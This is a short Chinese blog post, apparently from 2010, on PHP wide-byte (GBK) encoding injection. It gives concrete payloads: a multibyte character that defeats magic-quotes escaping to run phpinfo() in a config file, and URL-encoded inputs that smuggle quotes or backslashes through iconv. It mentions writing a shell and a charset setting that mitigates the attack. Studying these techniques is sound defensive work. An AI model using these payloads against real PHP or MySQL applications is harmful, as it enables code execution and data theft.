php关于宽字节编码的研究实验
时间:2010-12-02 来源:k4shifz
以前对宽字节还是停留在GET上,得益于toby57牛的某篇文章,深入了一下
GPC打开了
提交:誠');phpinfo();//
转换:誠\');phpinfo();//
<?php
$config=array('誠\');phpinfo();//');
?>
php开始处理:D5 5C 5C 27... ,先处理转义,\ 没有了特殊作用,变成了 D5 \ ' ...,开始执行:誠'...,单引号引入,phpinfo执行。
运气好的话写shell?POST提交注入?
SET character_set_connection=$dbcharset, character_set_results=$dbcharset, character_set_client=binary
前两句防止乱码,最后一句防止宽字节注入。
Toby57:
在character_set_client为GBK情况下还好点,在character_set_client为binary情况下,只有借助其它函数的转换如iconv等来引入特殊字符。
iconv('GBK', 'UTF-8', $_GET['para']); //由GBK编码转为UTF-8
test.php?para=a%e5%27
可在末尾引入chr( 39) 即 '
$username= iconv('UTF-8', 'GBK', $_GET['para']); //由UTF-8编码转为GBK
test.php?para=a%e9%8c%a6
可在末尾引入chr(92) 即 \,页面会显示繁体字,后面加 \' 就可以引入单引号了。
标签分类: